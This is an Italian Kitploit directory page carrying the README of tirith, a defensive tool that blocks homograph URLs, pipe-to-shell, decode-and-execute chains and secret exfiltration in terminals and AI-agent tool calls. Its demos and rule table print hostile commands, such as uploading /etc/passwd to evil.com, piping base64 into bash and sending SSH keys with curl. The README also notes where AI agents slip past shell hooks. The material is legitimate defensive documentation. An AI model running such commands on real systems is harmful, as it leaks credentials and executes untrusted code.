Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tirith — Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti. | Kitploit
Strumenti/GitHubGitHub/sheeki03/tirith
OSINT (Open Source Intelligence)Strumenti di PhishingScanner di VulnerabilitàEsfiltrazione DatiAnalisi MalwareDevSecOpsRilevamento SegretiThreat IntelligenceSicurezza della Supply ChainApprendimento e FormazioneRisorse Curate
2.7k9022317h 51m faRevisionato da Kitploit
Condividi
GitHub
sheeki03/tirith

tirith

Sicurezza del terminale per sviluppatori e agenti AI. Intercetta URL omografi, pipe-to-shell, iniezione ANSI, payload offuscati, esfiltrazione di dati e competenze/configurazioni AI dannose prima che vengano eseguiti.

Vedi RepositorySito web
# tirith

**Il tuo browser lo intercetterebbe. Il tuo terminale no.**

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/11454/e8bf601682b2f9f38e53011dbe66be548699859fd54c0751d7f4639bb49edf6d.png" alt="tirith, sicurezza del terminale" width="100%" />
</p>

[![CI](https://github.com/sheeki03/tirith/actions/workflows/ci.yml/badge.svg)](https://github.com/sheeki03/tirith/actions/workflows/ci.yml)
[![GitHub Stars](https://img.shields.io/github/stars/sheeki03/tirith?style=flat&logo=github)](https://github.com/sheeki03/tirith/stargazers)
[![License: AGPL-3.0](https://img.shields.io/badge/license-AGPL--3.0-blue)](LICENSE-AGPL)

[Sito web](https://tirith.sh) | [Documentazione](https://tirith.sh/docs) | [SKILL.md](https://github.com/sheeki03/tirith/blob/main/SKILL.md) | [Changelog](https://github.com/sheeki03/tirith/blob/main/CHANGELOG.md) | [Release](https://github.com/sheeki03/tirith/releases)

<a href="https://vercel.com/open-source-program">
  <img alt="Vercel OSS Program" src="https://vercel.com/oss/program-badge-2026.svg" />
</a>

<sub>Progetto open-source indipendente, con hosting supportato dal Vercel Open Source Program (Spring 2026 Cohort).</sub>

---

Riesci a notare la differenza?

```
  curl -sSL https://install.example-cli.dev | bash     # safe
  curl -sSL https://іnstall.example-clі.dev | bash     # compromised
```

Non puoi. Nemmeno il tuo terminale può. Entrambi i caratteri `і` sono cirillici (U+0456), non latini `i`. Il secondo URL si risolve sul server di un attaccante. Lo script viene eseguito prima che tu te ne accorga.

I browser hanno risolto questo problema anni fa. I terminali continuano a visualizzare Unicode, sequenze di escape ANSI e caratteri invisibili senza farsi domande. Gli agenti AI eseguono comandi shell e installano pacchetti senza ispezionare ciò che contengono.

**Tirith presidia il cancello.** Intercetta comandi, contenuti incollati e file scansionati alla ricerca di URL omografi, payload offuscati, esfiltrazione di credenziali, skill/config AI malevoli e pacchetti/domini/IP notoriamente dannosi provenienti da un database di threat intelligence firmato, prima che vengano eseguiti.

```bash
brew install tirith
```

Poi attivalo nel tuo profilo della shell:

```bash
# zsh
eval "$(tirith init --shell zsh)"

# bash
eval "$(tirith init --shell bash)"

# fish
tirith init --shell fish | source
```

> [!TIP]
> `eval "$(tirith init)"` rileva automaticamente la tua shell corrente (ispeziona il processo padre e ricorre a `$SHELL` se necessario). Il flag esplicito `--shell` è richiesto solo quando vuoi sovrascrivere il rilevamento.

Oppure lascia che Tirith scriva il file di avvio per te, come un unico piano revisionato che puoi annullare:

```bash
tirith setup recommended --scope user --shell zsh --dry-run   # preview
tirith setup recommended --scope user --shell zsh             # apply
```

Questo è tutto per la copertura della shell interattiva. I comandi accettati da quella shell vengono controllati mentre l'hook è caricato e funzionante; il comportamento esatto di blocco dipende dalla shell e dalla modalità. Esegui `tirith status` dopo l'installazione e gli aggiornamenti: indica se l'hook caricato in questo terminale è aggiornato. Esegui `tirith doctor --verify-shell` per osservare il blocco nella shell stessa, e leggi [enforcement by shell](#enforcement-by-shell) prima di considerare l'hook come confine di autorizzazione. I comandi puliti restano silenziosi e normalmente seguono il percorso rapido.

Disponibile anche tramite [npm](#cross-platform), [cargo](#cross-platform), [mise](#cross-platform), [apt/dnf](#linux-packages) e [altro](#install).

---

## Vedilo in azione

**Attacco homograph, bloccato prima dell'esecuzione:**

```
$ curl -sSL https://іnstall.example-clі.dev | bash

tirith: BLOCKED
  [CRITICAL] non_ascii_hostname, Cyrillic і (U+0456) in hostname
    This is a homograph attack. The URL visually mimics a legitimate
    domain but resolves to a completely different server.
  Bypass: prefix your command with TIRITH=0 (applies to that command only)
```

Il comando non viene mai eseguito.

**Richiesta HTTP in chiaro verso un indirizzo LAN, segnalata con un avviso, non bloccata:**

```
$ curl http://192.168.1.20:8080/health

tirith: WARNING
  [MEDIUM] raw_ip_url, URL uses raw IP address
  [MEDIUM] plain_http_to_sink, Plain HTTP URL in execution context
  [MEDIUM] private_network_access, Private network access: 192.168.1.20
```

L'avviso viene stampato su stderr. Il comando viene comunque eseguito. Un download inviato tramite pipe a una shell
(`curl ... | sh`) non è un avviso: viene bloccato come `curl_pipe_shell`.

**Catena di decodifica ed esecuzione Base64, bloccata:**

```
$ echo payload | base64 -d | bash

tirith: BLOCKED
  [HIGH] base64_decode_execute, Base64 decode piped to interpreter
  [HIGH] pipe_to_interpreter, Pipe to interpreter: base64 | bash
```

Rileva anche le catene di decodifica tramite wrapper sudo/env e PowerShell `-EncodedCommand`.

**Esfiltrazione di credenziali, bloccata:**

```
$ curl -d @/etc/passwd https://evil.com/collect

tirith: BLOCKED
  [HIGH] data_exfiltration, Data exfiltration via curl upload
    curl command uploads sensitive data to a remote server
```

Copre tutti i flag di upload di curl/wget, le variabili d'ambiente (`$AWS_SECRET_ACCESS_KEY`) e la sostituzione di comandi.

**File di skill malevolo, intercettato durante la scansione:**

```
$ tirith scan evil_skill.py

tirith scan: evil_skill.py, 3 finding(s)
  [MEDIUM] dynamic_code_execution, exec() near b64decode() in close proximity
  [MEDIUM] obfuscated_payload, Long base64 string decoded and executed
  [MEDIUM] suspicious_code_exfiltration, HTTP call passes sensitive data as argument
```

Analizza file JS/Python alla ricerca di payload offuscati, esecuzione dinamica di codice e pattern di esfiltrazione di segreti.

**Comandi normali, invisibili:**

```
$ git status
$ ls -la
$ docker compose up -d
```

Niente. Zero output. Dimentichi che tirith è in esecuzione.

---

## Cosa rileva

**245 regole di rilevamento in 35 categorie.**

| Categoria | Cosa blocca |
|----------|--------------|
| **Attacchi homograph** | Caratteri simili cirillici/greci nei nomi host, domini punycode, etichette a script misti, TLD simili, domini confondibili, rilevamento di confondibili a livello di testo (caratteri alfanumerici matematici, stessa parola a script misti) |
| **Iniezione da terminale** | Sequenze di escape ANSI, override bidi, caratteri a larghezza zero, tag unicode, operatori matematici invisibili, selettori di variazione, riempitivi Hangul |
| **Difesa dalla steganografia** | Codifica con spazi bianchi invisibili (12 varianti di spazio Unicode), Mongolian Vowel Separator, caratteri Hangul Filler, sostituzione alfanumerica matematica, difese contro la steganografia testuale in stile st3gg |
| **Pipe-to-shell** | `curl \| bash`, `wget \| sh`, `httpie \| sh`, `xh \| sh`, `python <(curl ...)`, `eval $(wget ...)`, oltre a numerosi percorsi di wrapper, decodifica e indirezione |
| **Decodifica ed esecuzione Base64** | `base64 -d \| bash`, `python -c "exec(b64decode(...))"`, `powershell -EncodedCommand`, catene di decodifica tramite wrapper sudo/env |
| **Esfiltrazione di dati** | `curl -d @/etc/passwd`, `curl -T ~/.ssh/id_rsa`, `wget --post-file`, caricamenti di file segreti del progetto (`.env`, `.env.production`, `secrets.yaml`), caricamenti di variabili d'ambiente nei corpi delle richieste (`$AWS_SECRET_ACCESS_KEY`), esfiltrazione tramite sostituzione di comando. Una credenziale in un header di richiesta (`-H "Authorization: Bearer $TOKEN"`) è trattata come autenticazione, come `--user` |
| **Scansione di file di codice** | Payload offuscati (`eval(atob(...))`), esecuzione dinamica di codice (`exec(b64decode(...))`), esfiltrazione di segreti tramite `fetch`/`requests.post` in file JS/Python |
| **Rilevamento credenziali** | Chiavi AWS, PAT GitHub, token Stripe/Slack/SendGrid/Anthropic/GCP/npm, blocchi di chiavi private, oltre al rilevamento generico di segreti basato sull'entropia |
| **Comportamento post-compromissione** | Scraping della memoria dei processi (`/proc/*/mem`), escalation di privilegi remota su Docker, raccolta di file di credenziali, calibrato su strumenti post-compromissione TeamPCP e UNC1069 |
| **Sicurezza dei comandi** | Sovrascrittura di dotfile, estrazione di archivi in percorsi sensibili, accesso a endpoint di metadati cloud, accesso a reti private |
| **Trasporto non sicuro** | HTTP in chiaro inviato via pipe alla shell, `curl -k`, verifica TLS disabilitata, URL accorciati che nascondono le destinazioni |
| **Ambiente** | Hijacking del proxy, export di variabili d'ambiente sensibili, iniezione di codice tramite env, hijacking dell'interprete, iniezione shell tramite env |
| **Sicurezza dei file di configurazione** | Iniezione di configurazione, indicatori sospetti, unicode non-ASCII/invisibile nelle configurazioni, sicurezza dei server MCP (non sicuro/non attendibile/duplicato/permissivo) |
| **Minacce dell'ecosistema** | Typosquat tramite git clone, registry Docker non attendibili, installazioni pip/npm da URL, endpoint RPC web3, vet non configurato |
| **Sicurezza dei comandi di installazione** | Repository APT aggiunti da un download inviato via pipe, `[trusted=yes]` / `--allow-unauthenticated` / `--nogpgcheck` / pacman `SigLevel = Never` (controlli delle firme disabilitati), `kubectl apply -f` su manifest remoti grezzi/accorciati, chart Helm da repository non attendibili, moduli Terraform da sorgenti remote non attendibili, `brew install`/`tap` da URL arbitrari |
| **Analisi dei percorsi** | Percorsi non-ASCII, omoglifi nei percorsi, doppia codifica |
| **Contenuto renderizzato** | Contenuto CSS/colore nascosto, attributi HTML nascosti, analisi del contenuto dei commenti (prompt injection a livello High, comandi distruttivi a livello Medium) |
| **Rilevamento cloaking** | Cloaking lato server (bot vs browser), contenuto nascosto negli appunti, testo nascosto nei PDF |
| **Windows / PowerShell** | `Set-ExecutionPolicy Bypass` / `-ep`, esclusioni di Windows Defender (`Add-MpPreference -Exclusion*`), download ed esecuzione inline `iex (iwr ...)` |
| **Difesa dall'output del terminale** | Scritture negli appunti OSC 52, prompt falsi, manipolazione di hyperlink e titolo OSC 8 / clear-screen, prompt injection all'interno dell'output di comandi o strumenti MCP (scansionato sia in forma grezza che deoffuscata, così vengono intercettate anche evasioni con caratteri invisibili, confondibili, spaziati, leetspeak e base64 / hex brevi), ed esfiltrazione di dati tramite output (URL beacon o direttive "leggi un segreto poi invialo") |
| **Contesto operativo** | Comandi distruttivi contro contesti cloud / k8s etichettati come prod e host SSH, `apply` di Terraform / Pulumi / OpenTofu senza un piano salvato corrispondente, escalation sudo rischiosa, `docker run` privilegiato |
| **Workstation e persistenza** | File di credenziali con permessi permissivi e token in chiaro (`~/.ssh`, `~/.aws`, `.npmrc`), punti di ancoraggio per la persistenza (shell rc, `authorized_keys`, crontab, LaunchAgents, `core.hooksPath` di git), ordinamento per dirottamento del PATH, provenienza degli eseguibili, alias rischiosi e ciclo di vita di variabili d'ambiente sensibili |
| **Raggio d'impatto e correlazione** | Eliminazioni che escono dal repository, eliminazioni di massa, esecuzione di file scaricati da fonti rischiose e catene di sessione come scrittura di segreti seguita da rete o eliminazione seguita da `git push --force` |
| **Fiducia, attestazione e provenienza** | Mancata corrispondenza di command-card firmate, accessi a honeytoken canary, mancata corrispondenza dell'host di origine degli incolla, dinieghi di policy per l'origine del chiamante (agente), deriva del lockfile MCP e deriva della configurazione AI rispetto a uno snapshot noto come sicuro |
| **Protezione dei comandi Web3** | Scritture on-chain da comandi Cast / Forge / Hardhat / Solana / Anchor (Alto quando lo stesso comando disabilita anche un controllo di sicurezza dichiarato), materiale di chiavi private, keypair o mnemoniche in chiaro sulla riga di comando e un endpoint RPC o firmatario di cui la policy `web3_guard` dell'operatore non si fida. Solo grammatica e policy: non viene letto alcuno stato della catena, non viene simulata alcuna transazione e nessun indirizzo viene valutato |
| **Esfiltrazione di wallet** | Materiale di wallet, keystore, wallet del browser e keypair Solana revisionato che fluisce verso un sink remoto dimostrato, inclusi passaggi di staging tramite archivi, base64, hex, compressori e cifratori e promozione degli operandi di `xargs` / `find -exec`. Una lettura solo in origine non è deliberatamente considerata un rilevamento |
| **Avvelenamento degli artefatti CI** | Un workflow raggiungibile da fork che carica un artefatto di build, consumato da un workflow privilegiato `workflow_run` vincolato all'esecuzione che lo ha attivato, che poi lo esegue, ne preleva le sorgenti, ne modifica il PATH, lo pubblica o lo distribuisce |

## Cosa NON protegge tirith

Tirith analizza la **struttura** dei comandi, del testo incollato e dei file prima
che vengano eseguiti. È un gate di pre-esecuzione, non una difesa runtime, e non
copre:

- **Sandboxing runtime generico:** gli hook di shell ordinari e `tirith check` avvisano
  o bloccano; non isolano un comando dopo l'avvio. Il percorso esplicito
  `capsule run --preset untrusted-project` fornisce un contenimento fail-closed
  su host Linux nativi x86_64 e AArch64 supportati. L'esecuzione contenuta di `pkg install` è
  attualmente disabilitata su ogni host.
- **Monitoraggio di rete post-esecuzione:** ciò che un processo fa sulla rete dopo
  l'avvio è fuori ambito.
- **Rilevamento generico di malware / payload:** tirith non è un antivirus e non
  detona un payload. Analizza la struttura e può confrontare indicatori esatti
  e hash di artefatti/file dal database delle minacce firmato, ma un payload
  sconosciuto non è dimostrato benigno dall'assenza di una corrispondenza. (`tirith run` controlla
  la struttura di uno script scaricato; non è comunque analisi dinamica di malware.)
- **Un attaccante privilegiato root/admin:** chiunque sia già root o admin può aggirare
  tirith banalmente. Difende da input ingannevoli, non da un attaccante che già
  possiede la macchina.
- **Anti-debugging / anti-tampering:** tirith non resiste al reverse engineering
  né protegge il proprio binario da un attaccante locale.
- **Analisi on-chain:** la guardia Web3 legge la grammatica dei comandi. Non legge
  lo stato della catena, non simula una transazione, non risolve ENS, non assegna un punteggio a un indirizzo, non esegue l'audit di un
  contratto né osserva un mempool.
- **Un firewall per artefatti npm:** tirith analizza la grammatica dei comandi npm e i fatti
  sull'identità del registry, e può interrogare l'npm del progetto stesso per il suo stato di firma e
  provenienza. [L'ispezione npm locale](https://github.com/sheeki03/tirith/blob/main/docs/npm-inspection.md) calcola l'hash dei byte esatti del tarball
  fornito e riporta evidenze statiche delimitate senza scaricarlo, scriverne il contenuto su disco o eseguire codice del pacchetto. Questi report
  non autorizzano un'installazione. `tirith pkg install` rimane disabilitato sia per npm che per Python su
  ogni host in attesa della qualificazione dell'esecuzione con input privati.
- **Browser forensics o monitoraggio:** `tirith browser audit` è un audit di integrità esplicito,
  one-shot e in sola lettura degli alberi sorgente delle estensioni. Non legge mai
  cookie, cronologia, password salvate, storage, database di wallet o `Local
  State`, non rimuove né mette in quarantena nulla e non ha alcun daemon.
- **Build riproducibili:** una ricevuta `attest` registra cosa contenevano due alberi
  in un dato momento. Tirith non esegue la tua build e non può affermare che l'output provenga
  dal sorgente. Una ricevuta di deployment è una misurazione puntuale, non
  monitoraggio continuo.

Vedi [docs/threat-model.md](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md) per il modello di minaccia completo e
i non-obiettivi espliciti, e
[docs/enforcement-coverage.md](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) per un
registro capacità per capacità di ciò che tirith rileva, decide, applica,
contiene e attesta.

---

## Limitazioni note

- **Fragilità degli hook della shell:** la protezione dipende dal fatto che un hook della shell rimanga installato e attivo. Gli hook possono rompersi o degradarsi silenziosamente tra shell, versioni delle shell, framework di prompt e strumenti per la cronologia. Esegui `tirith doctor` per verificare lo stato attuale e presta attenzione alle degradazioni che producono solo avvisi.
- **Archiviazione temporanea piena o in sola lettura:** zsh e fish catturano l'input tramite un file temporaneo prima di invocare Tirith e falliscono in modo chiuso quando quel file non può essere creato. Un `TMPDIR` pieno o in sola lettura può quindi rifiutare ogni comando, e `TIRITH=0` non può recuperare perché il binario non viene mai raggiunto. Segui i passaggi di ripristino in [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md).
- **Funzionalità limitate alla piattaforma:** la modalità daemon, `tirith run`, `tirith fetch` e `tirith gateway run` sono interfacce Unix. `tirith run --no-exec` resta lì un flusso di ispezione, ma l'esecuzione remota di script dal vivo è solo per Linux e rifiuta prima del download su ogni altro host. Su Windows, `tirith gateway run` rifiuta prima di leggere la propria configurazione di esecuzione o di avviare il server upstream; `tirith gateway validate-config` resta disponibile. `tirith setup` è multipiattaforma, mentre ogni integrazione con l'host ha il proprio contratto di piattaforma (ad esempio Cline ha wrapper POSIX e Windows; l'hook bloccante di OpenHands è solo Unix).
- **Ambito di estrazione dei nomi dei pacchetti:** copre gli ecosistemi linguistici (pip, npm/yarn/pnpm/bun, cargo, gem, go, composer, dotnet, mvn/gradle), non i gestori di pacchetti delle distribuzioni (`apt`, `dnf`, `yum`, `pacman`).
- **Avvertenze sugli agenti AI:** l'intercettazione tramite hook della shell protegge solo i comandi che passano attraverso una shell interattiva con hook. Un agente che genera una shell non interattiva, chiama direttamente `exec` o viene eseguito senza l'hook caricato non è coperto da quel livello. La registrazione MCP è cooperativa a meno che le chiamate non siano instradate attraverso il gateway. Un hook pre-tool supportato può trattenere automaticamente un comando dell'host, ma solo quando quell'host lo ha caricato e rispettato; diversi host falliscono in modo aperto quando un processo hook va in errore. Verifica l'host effettivo, non solo la presenza di un file di configurazione.
- **Comportamento in caso di errore degli hook dell'host:** Grok Build, Cline e OpenHands consentono lo strumento quando il loro processo hook va in crash o va in timeout. L'adattatore di Tirith nega sui propri errori per impostazione predefinita, e su Linux e macOS gli hook generati negano quando il loro interprete Python fissato è stato spostato (a meno che `TIRITH_FAIL_OPEN=1`), ma Tirith non può far sì che un host rispetti un processo che non è tornato. Su Windows, i comandi hook di Gemini CLI e Kiro eseguono direttamente il Python fissato, quindi un interprete spostato o rimosso li fa fallire in modo aperto finché non viene eseguito di nuovo `tirith setup`. Riesegui il setup se un interprete fissato viene spostato e verifica l'host reale dopo ogni aggiornamento.
- **Prime Agent IPython è estrazione a livello di sorgente:** la protezione copre le escape/magie della shell e le forme comuni di `os`, `subprocess` e `pty.spawn`, ma non è una sandbox del runtime Python. Un wrapper definito in una cella precedente, la riflessione come `getattr`/`__import__`, o un pacchetto di terze parti che genera un processo possono sfuggire a ciò che un lexer del sorgente può dimostrare.
- **Custom-DLP e output macchina:** ampi `dlp_custom_patterns` possono attualmente riscrivere valori stringa di proprietà del protocollo in proiezioni JSON/MCP redatte ricorsivamente, inclusi identificatori generati o metadati di ricevuta. Evita pattern che possono corrispondere a valori strutturali quando consumi output firmati o stabili per la macchina; questo richiede una redazione consapevole dei campi prima del rilascio.
- **Approvazione dell'installazione non presidiata:** `tirith install --yes` è accettato come canale `require_approval` non presidiato del gate delle attività del gestore di pacchetti. È un flag esplicito dell'operatore, non la prova di una conferma umana su TTY. Usa una policy di attività bloccante dove l'esecuzione non presidiata deve essere impossibile.
- **Binding MCP interpretato:** il binding esatto del server interpretato calcola l'hash dell'albero del repository entro limiti fissi invece di scoprire una vera chiusura delle dipendenze, quindi alberi di grandi dimensioni, symlink o file speciali possono rifiutare l'avvio. Rivalida prima dello spawn ma non esegue gli input dell'interprete da sealed
  descrittori revisionati; la mutazione concorrente da parte dello stesso utente rimane una lacuna tra verifica e caricamento.
- **Copertura del task-gate:** l'inferenza degli effetti dei task modella la grammatica della shell Web3 e nient'altro, quindi quasi ogni normale comando SHELL viene segnalato come INCOMPLETE. `task_gate.mode: enforce` con `action_incomplete_analysis: block` li rifiuta ai cinque confini che inviano un envelope di shell. Rifiuta inoltre le azioni narrative che le chiamate agli strumenti MCP non possono modellare dal gateway, `tirith verify-self`, `tirith update --dry-run` e l'invio dell'aggiornamento ThreatDB della dashboard. Non cambia nulla nelle scritture di configurazione, in `tirith fetch`, o in un vero `tirith update` o rollback, che vengono sempre valutati come completi. `warn` è il valore predefinito. L'alternativa, `effects_denied_for_untrusted_sources`, nega l'effetto indicato a ogni chiamata presso ogni confine posseduto, inclusi i comandi digitati da te stesso, perché nessuna sorgente a quei confini viene mai considerata attendibile.
- **Il contenimento del progetto richiede i controlli nativi di Linux:** `tirith capsule run --preset untrusted-project` supporta Linux nativo x86_64 e AArch64 con Landlock e seccomp utilizzabili. Gli host privi di uno dei due controlli rifiutano prima che qualsiasi cosa venga copiata o avviata, senza alcun fallback degradato. L'esecuzione contenuta di `tirith pkg install` è disabilitata su ogni host in attesa della qualificazione degli input privati. L'allow-listing dei domini non è offerto da alcun backend.
- **Lacuna di esfiltrazione tramite shell annidata:** una lettura sensibile all'interno del corpo di una shell annidata il cui sink è all'esterno, come `bash -c "cat <wallet>" | curl -d @- <url>`, oggi non viene correlata. La stessa catena interamente dentro o interamente fuori dal corpo `-c` viene rilevata.
- **Livelli di evidenza dell'esecuzione:** un avvio su Linux è confermato solo dopo che la transizione `exec` arrestata, l'aggiornamento durevole dello stato, la ripresa autorizzata e la prova del launcher terminale sono tutti completati. Una chiamata al gateway è confermata solo da un risultato correlato esatto. Le osservazioni della shell e le chiamate al gateway inoltrate che vanno in timeout o vengono annullate restano evidenze irrisolte conservative, mai esecuzione confermata. Le ricevute rigorose della shell sono disponibili per bash, zsh e fish interattivi; PowerShell resta solo in preflight. Il comportamento del launcher nativo Linux deve essere verificato dalla CI Linux o da un host Linux nativo; né la copertura portabile di sorgenti/unit test né una build macOS possono sostituirla.
- **Lacune di copertura Web3:** `forge create` non è ancora modellato sulle superfici del motore; diversi campi dichiarati di `web3_guard` vengono analizzati ma non applicati; e i binding Web3 delle command-card schema-2 non hanno ancora un percorso di authoring da CLI o di consumo live da parte del motore. Considera queste come lacune note, non come autorizzazione silenziosa.

## Threat intelligence

Tirith include un database locale firmato delle minacce per la reputazione di pacchetti, hostname e IP. Quando un hook della shell o `tirith check` rileva l'installazione di un pacchetto o un riferimento a un'infrastruttura sospetta, confronta tale input con il database prima dell'esecuzione del comando, invece di affidarsi solo a euristiche statiche.

**DB firmato** (generato dalla CI, verificato al download e al caricamento):

- Pacchetti noti come malevoli da [OpenSSF Malicious Packages](https://github.com/ossf/malicious-packages) e [Datadog Security Labs](https://github.com/DataDog/malicious-software-packages-dataset)
- Infrastrutture IP malevole da [Feodo Tracker](https://feodotracker.abuse.ch/) (abuse.ch)
- Typosquat confermati e baseline di pacchetti popolari da [ecosyste.ms](https://ecosyste.ms/)
- Catalogo [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) per la correlazione degli avvisi a runtime

ThreatDB v2 aggiunge valori SHA-256 esatti degli artefatti, hash dei file installati,
URL malevoli, appartenenza a campagne e tag comportamentali. L'indice firmato,
l'updater, il compiler e il loader supportano v1 e v2 durante la transizione graduale,
rifiutano il rollback delle sequenze, pubblicano in modo transazionale e conservano un
database firmato last-known-good quando un aggiornamento è incompleto o non valido. La
sorgente DigitalSide è implementata ma intenzionalmente inattiva finché la sua
freschezza e il suo contratto operativo non saranno approvati.

**Feed supplementari opzionali** (overlay locale all'utente):

- [URLhaus](https://urlhaus.abuse.ch/) e [ThreatFox](https://threatfox.abuse.ch/) tramite una chiave di autenticazione abuse.ch
- Blocklist [PhishTank](https://phishtank.org/) (Cisco Talos) e [Phishing Army](https://phishing.army/)
- Elenco dei nodi di uscita Tor da [Tor Project](https://www.torproject.org/)

**Arricchimento live opzionale** durante `tirith check` e la modalità daemon:

- Ricerche di avvisi su [OSV.dev](https://osv.dev/) (Google OSS)
- Segnali di salute dei pacchetti da [deps.dev](https://deps.dev/) (Google OSS) e dati sui maintainer da [ecosyste.ms](https://ecosyste.ms/)
- Reputazione degli URL tramite [Google Safe Browsing](https://safebrowsing.google.com/) con la propria chiave API

```bash
tirith threat-db update              # download + verify the signed DB
tirith threat-db status              # age, signature, version, entry counts
tirith threat-db health              # install, signature, staleness, counts
tirith threat-db sources             # list every feed the DB is built from
tirith threat-db explain react       # what the DB knows about an indicator
tirith threat-db diff --since 2026-01-01   # count changes since a version/date
```

Per impostazione predefinita, gli hook della shell e `tirith check` attivano un controllo di aggiornamento economico in background ogni 24 ore. La modalità daemon mantiene lo stesso percorso di arricchimento attivo in background.

`threat-db explain` accetta un dominio, un nome di pacchetto (`name`, `ecosystem:name` o `name@version`) oppure un indirizzo IPv4. Il binario non conserva alcuna cronologia per voce, quindi `threat-db diff` riporta le variazioni di categoria e di conteggio per singola fonte tra snapshot, non le voci esatte modificate. Ogni comando `threat-db` accetta `--format json`; `threatdb` è un alias.

### Assegnazione del punteggio di rischio dei pacchetti

`tirith package risk <ecosystem> <name>` assegna un punteggio al rischio di supply-chain / manutentore di un pacchetto nello stesso modo in cui `tirith score` assegna un punteggio a un URL, ovvero una **somma deterministica e completamente spiegabile di fattori denominati**, senza modello e senza pesi appresi. `tirith package explain <ecosystem> <name>` aggiunge la derivazione fattore per fattore; entrambi accettano `--format json`.

```bash
tirith package risk npm react           # 0/100, a known-popular package
tirith package risk npm reqeusts        # high, one edit from a popular name
tirith package explain pypi flask       # factor-by-factor derivation
tirith package risk npm left-pad --path ./node_modules/left-pad
tirith package risk --online npm react  # also consult the registry API
```

**Offline per impostazione predefinita.** Senza flag, ogni segnale è locale, senza alcuna chiamata di rete: (1) **nome rispetto ai pacchetti popolari**: noto-popolare, sconosciuto, o un quasi-omonimo con una modifica di un carattere rispetto a un nome popolare (la classica forma typosquat/slopsquat), dal set `popular` del database locale delle minacce; (2) **typosquat malevolo noto**: una corrispondenza esatta nell'indice `typosquat` del DB delle minacce; (3) **script di installazione / ciclo di vita** e (4) **blob binari inclusi**, rilevati solo quando il contenuto del pacchetto è disponibile localmente (sotto `node_modules` / `site-packages`, o tramite `--path`). tirith **non scarica mai** il pacchetto.

**`--online` aggiunge la provenienza dal registry.** Consulta il registry del pacchetto (npm, PyPI o crates.io) per altri sei fattori nello *stesso* modello a somma di fattori: età del pacchetto/versione, un pacchetto affermato senza proprietari, un picco anomalo di versioni, download molto bassi, un repository sorgente mancante e stato yanked/deprecato. È l'unico percorso in cui `package risk` stesso raggiunge la rete; `tirith check` e la modalità daemon hanno un percorso separato di arricchimento runtime controllato dalle policy. `--offline` / `TIRITH_OFFLINE` forzano questo scorer offline in ogni caso. I fallimenti ricadono sul punteggio offline con un onesto `api signals: unavailable`, e le risposte vengono messe in cache con un TTL così che le esecuzioni ripetute non sovraccarichino i registry.

Il punteggio è consultivo e autonomo: `package risk` non è una regola di rilevamento e non modifica alcun verdetto, codice di uscita o log di audit.

### Scansione dell'ecosistema e rischio delle dipendenze

`tirith ecosystem scan [path]` è il complemento a livello di directory di `package risk`. Percorre un progetto, scopre ogni manifest delle dipendenze che comprende, npm (`package.json`, `package-lock.json`), Python (`requirements*.txt`, `pyproject.toml`), Rust (`Cargo.toml`), Go (`go.mod`), Ruby (`Gemfile`), e assegna un punteggio a **ogni dipendenza dichiarata** con lo stesso motore deterministico a fattori `package_risk`.

```bash
tirith ecosystem scan                       # scan the current project
tirith ecosystem scan ./my-project          # scan a specific directory
tirith ecosystem scan --online ./my-project # also consult the registry API
tirith ecosystem scan --format json ./      # full machine-readable report
```

**Integra il rilevamento dello slopsquatting.** Lo *slopsquatting* è la registrazione di un nome plausibile ma falso che gli LLM tendono ad allucinare come dipendenza. `ecosystem scan` lo segnala solo quando **tutte e tre** le condizioni sono soddisfatte: il nome non è noto come reale o popolare, ha **la forma di un'allucinazione AI** (un prefisso di linguaggio come `python-` / `node-` più token descrittivi, una serie di riempitivi generici come `helper` / `utils` / `client`, oppure un nome insolitamente lungo), **e** si trova vicino a un nome reale popolare (una quasi-collisione a una modifica, oppure incorpora un nome popolare come parola). Richiedere tutte e tre mantiene bassi i falsi positivi: un onesto `data-utils` senza un ancoraggio popolare non viene segnalato.

---

[Read more](https://github.com/sheeki03/tirith)
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    906
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    725
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    442
  • 4

    wifit3

    derv82/wifit3

    Wifite ma solo USB e multipiattaforma.

    434
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    412
  • 6

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    360

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →